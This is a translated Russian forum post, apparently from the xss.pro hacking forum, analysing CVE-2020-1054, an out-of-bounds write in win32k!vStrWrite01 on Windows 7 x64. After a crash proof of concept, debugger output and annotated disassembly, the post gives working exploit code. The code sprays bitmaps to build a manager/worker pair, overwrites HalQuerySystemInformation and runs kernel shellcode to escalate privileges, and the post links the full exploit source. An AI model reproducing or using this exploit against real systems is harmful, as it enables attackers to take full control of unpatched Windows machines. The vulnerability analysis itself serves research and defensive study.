• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2020-1054 Примечания к исследованию уязвимости, связанной с повышением привилегий

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265

Оригинальная статья

Переведено специально для xss.pro
Камнями кадать Jolah Milovski

Введение​

1. Описание уязвимости​

Уязвимость существует в функции win32k!vStrWrite01.Когда функция читает и записывает область пикселей, на которую указывает член pvScan0 в объекте BitMap, она не оценивает, пересек ли адрес чтения или записи границу, то есть превышает ли диапазон пикселей объекта BitMap приводит к возникновению BSOD. При разумном расположении памяти эту уязвимость можно использовать для расширения sizlBitmap целевого объекта BitMap, чтобы расширить доступный для чтения и записи диапазон объекта BitMap. был расширен в настоящее время, любая произвольная реализация может быть достигнута.Чтение и запись адреса.

2. Экспериментальная среда​

  • ОС: Win7 x64 7601 Professional Edition
  • Компилятор: Visual Studio 2017
  • Отладчик: IDA Pro, WinDbg

2. Анализ уязвимостей​

1. Анализ POC-кода​

POC-код уязвимости выглядит следующим образом:

Код:
VOID POC_CVE_2020_1054()
{
    LoadLibrary("user32.dll");
    HDC r0 = CreateCompatibleDC(0x0);
    // CPR's original crash code called CreateCompatibleBitmap as follows
    // HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
    // however all following calculations/reversing in this blog will
    // generally use the below call, unless stated otherwise
    // this only matters if you happen to be following along with WinDbg
    HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
    SelectObject(r0, r1);
    DrawIconEx(r0, 0x0, 0x0, (HICON)0x30000010003, 0x0, 0xfffffffffebffffc,
                0x0, 0x0, 0x6);
}

Код POC создает объект BitMap для запуска уязвимости через объект CreateComatibleBitmap. Функция определяется следующим образом:
Код:
HBITMAP CreateCompatibleBitmap(HDC hdc,
                     int nWidth,    
                     int nHeight);

Функция запуска уязвимости — DrawIconEx, которая используется для рисования изображения в указанном контексте устройства.Функция определяется следующим образом:

Код:
BOOL WINAPI DrawIconEx(HDC hdc,
                   int xLeft,
                int yTop,
                   HICON hIcon,
                   int cxWidth,
                       int cyWidth,
                       UINT istepIfAniCur,
                       HBRUSH hbrFlickerFreeDraw,
                       UINT diFlags);

Скомпилируйте и запустите POC, система выдаст ошибку BSOD, следующую часть сообщения об ошибке:

Код:
0: kd> !analyze -v
Connected to Windows 7 7601 x64 target at (Tue Jul 12 10:00:11.147 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************
 
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: fffff906c5000238, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff9600011218a, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000005, (reserved)
 
Debugging Details:
------------------
 
IMAGE_NAME:  win32k.sys
 
TRAP_FRAME:  fffff88005386a40 -- (.trap 0xfffff88005386a40)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff900c5000000 rbx=0000000000000000 rcx=fffff906c5000238
rdx=fffff900c06f7fa0 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600011218a rsp=fffff88005386bd0 rbp=0000000000000000
 r8=0000000000000020  r9=fffff96000070000 r10=fffff88005386c30
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na po cy
win32k!vStrWrite01+0x36a:
fffff960`0011218a 418b36          mov     esi,dword ptr [r14] ds:00000000`00000000=????????
 
STACK_TEXT: 
nt!RtlpBreakWithStatusInstruction
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x71e
nt!KeBugCheckEx+0x104
nt! ?? ::FNODOBFM::`string'+0x44891
nt!KiPageFault+0x16e
win32k!vStrWrite01+0x36a
win32k!EngStretchBltNew+0x164a
win32k!EngStretchBlt+0x797
win32k!EngStretchBltROP+0x5fe
win32k!BLTRECORD::bStretch+0x623
win32k!GreStretchBltInternal+0xa37
win32k!BltIcon+0x18f
win32k!DrawIconEx+0x3b1
win32k!NtUserDrawIconEx+0x14d
nt!KiSystemServiceCopyEnd+0x13
USER32!NtUserDrawIconEx+0xa
USER32!DrawIconEx+0xd9

По информации об ошибке можно узнать, что кодовый адрес, который генерирует ошибку BSOD, расположен по смещению 0x36A win32k!vStrWrite01, Причина в том, что читается недопустимый адрес, то есть адрес 0.

2. Анализ функции vStrWrite01​

Определение функции vStrWrite01 можно найти в исходном коде NT4 следующим образом:

Код:
VOID vStrWrite01(STRRUN  *prun,
                 XRUNLEN *pxrlEnd,
                 SURFACE *pSurf,
                 CLIPOBJ *pco)

Среди них первые три параметра, относящиеся к уязвимости, определяются следующим образом:

Код:
typedef struct _XRUNLEN
{
    LONG    xPos;
    LONG    cRun;
    LONG    aul[1];
} XRUNLEN;
 
typedef struct _STRRUN
{
    LONG    yPos;
    LONG    cRep;
    XRUNLEN xrl;
} STRRUN;
 
 
typedef struct tagSIZE {
    LONG cx;
    LONG cy;
} SIZE,*PSIZE,*LPSIZE;
 
typedef SIZE SIZEL;
 
typedef struct _BASEOBJECT64{
  ULONG64 hHmgr;     // 0x00
  ULONG32 ulShareCount;      // 0x08
  WORD cExclusiveLock;       // 0x0A
  WORD BaseFlags;        // 0x0C
  ULONG64 Tid;           // 0x10
} BASEOBJECT64;
 
typedef struct _SURFOBJ64{
  BASEOBJECT64 baseObj;    // 0x00
  ULONG64 dhsurf;         // 0x18
  ULONG64 hsurf;          // 0x20
  ULONG64 dhpdev;         // 0x28
  ULONG64 hdev;           // 0x30
  SIZEL sizlBitmap;       // 0x38
  ULONG64 cjBits;         // 0x40
  ULONG64 pvBits;         // 0x48
  ULONG64 pvScan0;        // 0x50
  ULONG32 lDelta;         // 0x58
  ULONG32 iUniq;          // 0x5C
  ULONG32 iBitmapFormat;  // 0x60
  USHORT iType;           // 0x64
  USHORT fjBitmap;        // 0x66
} SURFOBJ64;

Согласно информации об ошибке WinDbg, код, который вызывает ошибку, может находиться в IDA, его видно недалеко от кода, который вызывает ошибку, адрес памяти чтения определяется rcx и rax, поэтому необходимо проанализировать вычисление rcx и rax, чтобы узнать адрес памяти для чтения .

1660623698166.png



В функции vStrWrite01 параметры сначала назначаются, и независимо от того, являются ли соответствующие параметры условными или нет, три перехода здесь выполняться не будут:

Код:
.text:FFFFF97FFF0A5118 ; void __fastcall vStrWrite01(struct _STRRUN *prun, struct _XRUNLEN *pxrlEnd, struct SURFACE *pSurf, struct _CLIPOBJ *pco)
.text:FFFFF97FFF0A5118 ?vStrWrite01@@YAXPEAU_STRRUN@@PEAU_XRUNLEN@@PEAVSURFACE@@PEAU_CLIPOBJ@@@Z proc near
.text:FFFFF97FFF0A5118                 test    rdx, rdx       ; Determine if pxrlEnd is NULL
.text:FFFFF97FFF0A511B                 jz      locret_FFFFF97FFF0A560E
.text:FFFFF97FFF0A5143                 lea     rax, [rcx+8]    ; eax = prun->xrl
.text:FFFFF97FFF0A5147                 mov     rbx, r9         ; rbx = pco
.text:FFFFF97FFF0A514A                 mov     r15, r8         ; r15 = pSurf
.text:FFFFF97FFF0A5152                 mov     rdi, rax        ; rdi = prun->xrl
.text:FFFFF97FFF0A515A                 mov     rsi, rcx        ; rsi = prun
.text:FFFFF97FFF0A515D                 test    rbx, rbx        ; poc是否为NULL
.text:FFFFF97FFF0A5160                 jnz     loc_FFFFF97FFF0A53AC
.text:FFFFF97FFF0A53C7                 mov     ebp, [rsi]      ; ebp = prun->yPos
.text:FFFFF97FFF0A53DE                 mov     r11d, [rsi+4]   ; r11d = prun->xrl->cRun
.text:FFFFF97FFF0A53FA                 mov     eax, [r15+58h]  ; eax = pSurf->lDelta
.text:FFFFF97FFF0A53FE                 imul    eax, ebp        ; eax = pSurf->lDelta * prun->yPos
.text:FFFFF97FFF0A5401                 movsxd  rcx, eax        ; rcx = pSurf->lDelta * prun->yPos
.text:FFFFF97FFF0A5404                 add     rcx, [r15+50h]  ; rcx = pSurf->lDelta * prun->yPos + pSurf->pvScan0
.text:FFFFF97FFF0A5408                 mov     [rsp+0A8h+var_rcx], rcx ; Save the value of rcx
.text:FFFFF97FFF0A540D                 test    r11d, r11d      ; Determine if prun->yPos is 0
.text:FFFFF97FFF0A5410                 jz      loc_FFFFF97FFF0A55F7

Уменьшите r11d на единицу, то есть уменьшите оставшийся prun->xrl->cRun на единицу, затем начните вычислять rcx и rax, и используйте rcx и rax для вычисления r14, то есть адреса памяти, который нужно прочитать после вычисления:

Код:
.text:FFFFF97FFF0A541D                 mov     r12d, 1
.text:FFFFF97FFF0A5423 loc_FFFFF97FFF0A5423:                   
.text:FFFFF97FFF0A5423                 sub     r11d, r12d      ; r11d = r11d - 1
.text:FFFFF97FFF0A5450                 movsxd  rbx, dword ptr [rdi] ; rbx = prun->xrl->xPos
.text:FFFFF97FFF0A545A                 mov     rax, rbx        ; rax = prun->xrl->xPos
.text:FFFFF97FFF0A5460                 sar     rax, 5          ; rax = prun->xrl->xPos >> 5
.text:FFFFF97FFF0A546D                 lea     r14, [rcx+rax*4]

Следующим выполнением является инструкция mov esi, [r14], вызвавшая ошибку BSOD. Если адрес, хранящийся в r14, является юридическим адресом, то над прочитанным значением будет выполняться операция ИЛИ или операция и:

1660623821782.png


Присвоить полученное после операции значение обратно адресу памяти, на который указывает r14:

Код:
.text:FFFFF97FFF0A5579                 mov     [r14], esi

Увеличьте rcx, при оценке того, равен ли r11d 0, если он не равен 0, он перейдет к loc_FFFFF97FFF0A5423, то есть перейдет к инструкциям sub r11d, r12d выше, и снова выполнит приведенные выше инструкции:

Код:
.text:FFFFF97FFF0A5580                 mov     rcx, [rsp+0A8h+var_rcx]  ; 将之前保存的rcx赋值给rcx
.text:FFFFF97FFF0A55B7                 movsxd  rax, dword ptr [r15+58h] ; rax = pSurf->lDelta
.text:FFFFF97FFF0A55BE                 add     rcx, rax        ; rcx = rcx + pSurf->lDelta
.text:FFFFF97FFF0A55EE                 test    r11d, r11d
.text:FFFFF97FFF0A55F1                 jnz     loc_FFFFF97FFF0A5423

Согласно вышеприведенному анализу можно сделать вывод, что адрес памяти для чтения и записи, то есть вычисление значения регистра r14, можно вычислить по следующему циклу:

Код:
for (i = 0; i < prun->yPos; i++)
{
    r14 = pSurf->lDelta * prun->yPos + pSurf->pvScan0 + (prun->xrl->xPos >> 5) * 4 + i * pSurf->lDelta
    // Read and write to the memory address pointed to by r14
}

3. Использование уязвимостей​

Шаги по эксплуатации уязвимости следующие:

  1. Создайте объект BitMap hExpBitMap, используемый для активации уязвимости.
  2. Поместите объект BitMap по смещению 0x100070000 hExpBitMap как hManager
  3. Выделить объект BitMap как hWorker со смещением 0x7000 после hManager
  4. Активируйте уязвимость и расширьте sizelBitmap объекта BitMap, соответствующего hManager, чтобы расширить доступный для чтения и записи диапазон hManager.
  5. Изменяя pvScan0 объекта BitMap, соответствующего hWorker через hManager, вы можете реализовать любое чтение и запись адреса для повышения привилегий.
Чтобы успешно создать hManager и hWorker для эксплуатации, необходимо распылить большое количество объектов BitMap размером 0x7000, соответствующий код выглядит следующим образом:

Код:
BOOL Exploit_CVE_2020_1054()
{
    BOOL bRet = TRUE;
 
    if (!LoadLibrary("user32.dll"))
    {
        bRet = FALSE;
        ShowError("LoadLibrary", GetLastError());
        goto exit;
    }
 
    HDC hdc = NULL;
    hdc = CreateCompatibleDC(NULL);
    if (!hdc)
    {
        bRet = FALSE;
        ShowError("CreateCompatibleDC", GetLastError());
        goto exit;
    }
 
    HBITMAP hExpBitMap = NULL;
 
    hExpBitMap = CreateCompatibleBitmap(hdc, 0x51500, 0x100);
    if (!hExpBitMap)
    {
        bRet = FALSE;
        ShowError("CreateCompatibleBitmap", GetLastError());
        goto exit;
    }
 
    ULONG64 ulExpBitMap = GetBitMapKerAddr(hExpBitMap);
    ULONG64 oob_target = (ulExpBitMap & 0xfffffffffff00000) + 0x0000000100000000;
 
    HBITMAP hManager = NULL, hWorker = NULL;
    ULONG64 ulManager = 0, ulWorker = 0;
 
    while (true)
    {
        HBITMAP hBitMap = NULL;
 
        hBitMap = CreateCompatibleBitmap(hdc, 0x6F000, 0x8);
        if (!hBitMap)
        {
            bRet = FALSE;
            ShowError("CreateCompatibleBitmap", GetLastError());
            goto exit;
        }
 
        ULONG64 ulBitMapKerAddr = GetBitMapKerAddr(hBitMap);
 
        if (hManager)
        {
            ulWorker = ulBitMapKerAddr;
            hWorker = hBitMap;
            break;
        }
        else if (ulBitMapKerAddr >= oob_target && (ulBitMapKerAddr & 0x0000000000070000) == 0x70000)
        {
            ulManager = ulBitMapKerAddr;
            hManager = hBitMap;
        }
    }
 
    // Trigger a vulnerability that modifies the read/write range of hManger
    SelectObject(hdc, hExpBitMap);
    DrawIconEx(hdc, 0x900, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);
exit:
    return bRet;
}

Скомпилируйте и запустите программу.До срабатывания уязвимости значение sizlBitmap объекта BitMap, соответствующего hManager, следующее:

1660623991812.png


После срабатывания уязвимости вы можете увидеть, что диапазон для чтения и записи был успешно расширен:


1660624010523.png


4. Запуск результатов​

После успешного расширения диапазона чтения/записи hManager вы можете реализовать чтение/запись любого адреса, изменив pvScan0 hWorker, и, наконец, добиться повышения привилегий.Соответствующий код выглядит следующим образом:

Код:
BOOL EnablePrivilege_CVE_2020_1054(HBITMAP hManager, HBITMAP hWorker, ULONG64 ulSize)
{
    BOOL bRet = TRUE;
    PVOID pBuf = NULL;
 
    pBuf = malloc(ulSize + 0x10);
    if (!pBuf)
    {
        bRet = FALSE;
        ShowError("malloc", GetLastError());
        goto exit;
    }
    ZeroMemory(pBuf, ulSize + 0x10);
    
    if (!GetBitmapBits(hManager, ulSize, pBuf))
    {
        bRet = FALSE;
        ShowError("GetBitmapBits", GetLastError());
        goto exit;
    }
 
    ULONG64 ulHalQuerySystenInformation = (ULONG64)GetHalQuerySystemInformation();
    if (!ulHalQuerySystenInformation)
    {
        bRet = FALSE;
        goto exit;
    }
 
    *(PULONG64)((ULONG64)pBuf + ulSize) = ulHalQuerySystenInformation;
    if (!SetBitmapBits(hManager, ulSize + sizeof(ULONG64), pBuf))
    {
        bRet = FALSE;
        ShowError("SetBitmapBits", GetLastError());
        goto exit;
    }
 
    ULONG64 ulOrg = 0;
 
    if (!GetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
    {
        bRet = FALSE;
        ShowError("GetBitmapBits", GetLastError());
        goto exit;
    }
 
    ULONG64 ulShellCode = (ULONG64)ShellCodeInWin7;
    if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulShellCode))
    {
        bRet = FALSE;
        ShowError("GetBitmapBits", GetLastError());
        goto exit;
    }
 
    if (!CallNtQueryIntervalProfile())
    {
        bRet = FALSE;
        goto exit;
    }
 
    if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
    {
        bRet = FALSE;
        ShowError("GetBitmapBits", GetLastError());
        goto exit;
    }
 
exit:
    return bRet;
}


Код хранится по адресу: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2020-1054.cpp . Запустите программу для успешного повышения привилегий:

1660624087101.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх